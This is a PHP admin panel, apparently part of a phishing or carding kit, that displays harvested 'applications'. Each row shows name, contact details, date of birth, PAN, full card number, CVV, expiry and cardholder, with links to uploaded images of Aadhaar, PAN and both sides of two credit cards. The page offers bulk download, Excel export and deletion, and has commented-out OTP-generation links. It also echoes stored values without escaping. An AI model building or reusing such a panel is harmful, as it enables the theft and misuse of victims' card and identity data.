<?php
include("./include/config.php");

if (!isset($_SESSION['a_user'])) {
    header("Location: index.php");
} else {
    include("./include/sidebar.php");
    ?>

    <div class="col-xs-12">
        <div class="box-content">

            <h4 class="box-title">View Applications</h4>
            <a href="delete_all_data.php" class="margin-bottom-10 btn waves-effect waves-light btn-primary btn-xs">Delete All</a>
<a href="#" id="delete-selected" class="margin-bottom-10 btn waves-effect waves-light btn-primary btn-xs">Delete Selected</a>
        <a href="#" id="download-selected" class="margin-bottom-10 btn waves-effect waves-light btn-primary btn-xs">Download Selected</a>
<a href="#" id="export-excel" class="margin-bottom-10 btn waves-effect waves-light btn-primary btn-xs">Export to Excel</a>

            <div class="table-responsive">

                <?php
                echo '<table class="table" id="data-table">';
                echo '<thead><tr><th><input type="checkbox" id="select-all"><th>Application No.</th><th>Name</th><th>Photo</th><th>Email</th><th>Phone</th><th>PIN Code</th><th>Date of Birth</th><th>PAN</th><th>Nationality</th><th>Card No.</th><th>CVV</th><th>Expiry</th><th>Card Holder</th><th>Aadhaar File (F)</th><th>Aadhaar File (B)</th><th>PAN File</th><th>CC File (F)</th><th>CC File (B)</th><th>CC 2 File (F)</th><th>CC 2 File (B)</th><th>Timestamp</th></tr></thead>';

                // Fetch rows from the "data" table
                $sql = "SELECT * FROM data";
                $result = mysqli_query($conn, $sql);

                if (mysqli_num_rows($result) > 0) {
                    echo '<tbody>';
                    while ($row = mysqli_fetch_assoc($result)) {
                        echo '<tr>';
                            echo '<td><input type="checkbox" name="selectedRows[]" value="' . $row['application_no'] . '"></td>';

                        echo '<td>' . $row['application_no'] . '</td>';
                        echo '<td>' . $row['name'] . '</td>';
                        echo '<td><a target="_blank" href="' . $row['photo_file'] . '"><img src="' . $row['photo_file'] . '" width="300px"></a></td>';
                        echo '<td>' . $row['email'] . '</td>';
                        echo '<td>' . $row['phone'] . '</td>';
                        echo '<td>' . $row['pin_code'] . '</td>';
                        echo '<td>' . $row['dob'] . '</td>';
                        echo '<td>' . $row['pan'] . '</td>';
                        echo '<td>' . $row['nationality'] . '</td>';
                        echo '<td>' . $row['card_no'] . '</td>';
                        echo '<td>' . $row['cvv'] . '</td>';
                        echo '<td>' . $row['expiry'] . '</td>';
                        echo '<td>' . $row['cardholder'] . '</td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['adhar_file'] . '"><img src="' . $row['adhar_file'] . '" width="300px"></a></td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['adhar_file1'] . '"><img src="' . $row['adhar_file1'] . '" width="300px"></a></td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['pan_file'] . '"><img src="' . $row['pan_file'] . '" width="300px"></a></td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['cc_file'] . '"><img src="' . $row['cc_file'] . '" width="300px"></a></td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['cc_file1'] . '"><img src="' . $row['cc_file1'] . '" width="300px"></a></td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['cc_2_file'] . '"><img src="' . $row['cc_2_file'] . '" width="300px"></a></td>';
                        echo '<td><a target="_blank" href="download.php?file=' . $row['cc_2_file1'] . '"><img src="' . $row['cc_2_file1'] . '" width="300px"></a></td>';
                        echo '<td>' . $row['entry'] . '</td>';
                        // echo '<td><a href="send_otp.php?id=' . $row['application_no'] . '" class="margin-bottom-10 btn waves-effect waves-light btn-primary btn-xs">Send Mail</a></td>';
                        //  echo '<td><a href="gen_otp.php?id=' . $row['application_no'] . '" class="margin-bottom-10 btn waves-effect waves-light btn-primary btn-xs">Generate OTP</a></td>';
                        echo '</tr>';
                    }
                    echo '</tbody>';
                    echo '</table>';
                } else {
                    echo "No data found.";
                }

                // Close the database connection
                mysqli_close($conn);
                ?>

            </div>

        </div>

    </div>
<script>
    // Select/Deselect all rows when the "Select All" checkbox is clicked
    document.getElementById('select-all').addEventListener('change', function () {
        var checkboxes = document.getElementsByName('selectedRows[]');
        for (var i = 0; i < checkboxes.length; i++) {
            checkboxes[i].checked = this.checked;
        }
    });

    // Delete selected rows when the "Delete Selected" button is clicked
    document.getElementById('delete-selected').addEventListener('click', function () {
        var checkboxes = document.getElementsByName('selectedRows[]');
        var selectedRows = [];
        for (var i = 0; i < checkboxes.length; i++) {
            if (checkboxes[i].checked) {
                selectedRows.push(checkboxes[i].value);
            }
        }
        if (selectedRows.length > 0) {
            // Send an AJAX request to delete the selected rows
            var xhr = new XMLHttpRequest();
            xhr.open('POST', 'delete_selected_rows.php');
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr.onreadystatechange = function () {
                if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
                    // Handle the response after deletion (e.g., refresh the table)
                    location.reload();
                }
            };
            xhr.send('selectedRows=' + JSON.stringify(selectedRows));
        }
    });
     document.getElementById('download-selected').addEventListener('click', function () {
        var checkboxes = document.getElementsByName('selectedRows[]');
        var selectedRows = [];
        for (var i = 0; i < checkboxes.length; i++) {
            if (checkboxes[i].checked) {
                selectedRows.push(checkboxes[i].value);
            }
        }
        if (selectedRows.length > 0) {
            window.location.href = 'download_selected_files.php?selectedRows=' + JSON.stringify(selectedRows);
        } else {
            alert("Please select at least one row.");
        }
    });
    document.getElementById('export-excel').addEventListener('click', function () {
    window.location.href = 'export_to_excel.php';
});

</script>

    <?php
}

include("./include/footer.php");
?>
